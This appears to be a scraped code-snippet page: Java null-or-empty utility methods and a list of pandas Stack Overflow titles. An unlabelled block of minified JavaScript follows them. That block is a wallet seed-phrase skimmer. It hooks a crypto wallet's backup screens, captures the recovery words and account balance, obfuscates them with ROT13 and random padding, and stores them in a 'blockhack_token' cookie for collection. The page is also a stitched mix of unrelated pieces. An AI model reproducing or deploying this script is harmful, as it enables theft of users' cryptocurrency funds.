JAVA

	/**
	 * This method returns true if the collection is null or is empty.
	 * 
	 * @param collection
	 * @return true | false
	 */
	public static boolean isEmpty(Collection<?> collection) {
		if (collection == null || collection.isEmpty()) {
			return true;
		}
		return false;
	}
 
	/**
	 * This method returns true of the map is null or is empty.
	 * 
	 * @param map
	 * @return true | false
	 */
	public static boolean isEmpty(Map<?, ?> map) {
		if (map == null || map.isEmpty()) {
			return true;
		}
		return false;
	}
 
	/**
	 * This method returns true if the object is null.
	 * 
	 * @param object
	 * @return true | false
	 */
	public static boolean isEmpty(Object object) {
		if (object == null) {
			return true;
		}
		return false;
	}
 
	/**
	 * This method returns true if the input array is null or its length is zero.
	 * 
	 * @param array
	 * @return true | false
	 */
	public static boolean isEmpty(Object[] array) {
		if (array == null || array.length == 0) {
			return true;
		}
		return false;
	}
 
	/**
	 * This method returns true if the input string is null or its length is zero.
	 * 
	 * @param string
	 * @return true | false
	 */
	public static boolean isEmpty(String string) {
		if (string == null || string.trim().length() == 0) {
			return true;
		}
		return false;
	}

Similiar Collections

Python strftime reference pandas.Period.strftime python - Formatting Quarter time in pandas columns - Stack Overflow python - Pandas: Change day - Stack Overflow python - Check if multiple columns exist in a df - Stack Overflow Pandas DataFrame apply() - sending arguments examples python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow python - replace a value in the entire pandas data frame - Stack Overflow python - Replacing blank values (white space) with NaN in pandas - Stack Overflow python - get list from pandas dataframe column - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow How to Convert Integers to Strings in Pandas DataFrame - Data to Fish How to Convert Integers to Strings in Pandas DataFrame - Data to Fish create a dictionary of two pandas Dataframe columns? - Stack Overflow python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow Python Pandas iterate over rows and access column names - Stack Overflow python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow python - Deleting DataFrame row in Pandas based on column value - Stack Overflow python - How to check if a column exists in Pandas - Stack Overflow python - Import pandas dataframe column as string not int - Stack Overflow python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow Python Loop through Excel sheets, place into one df - Stack Overflow

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

@Andiyo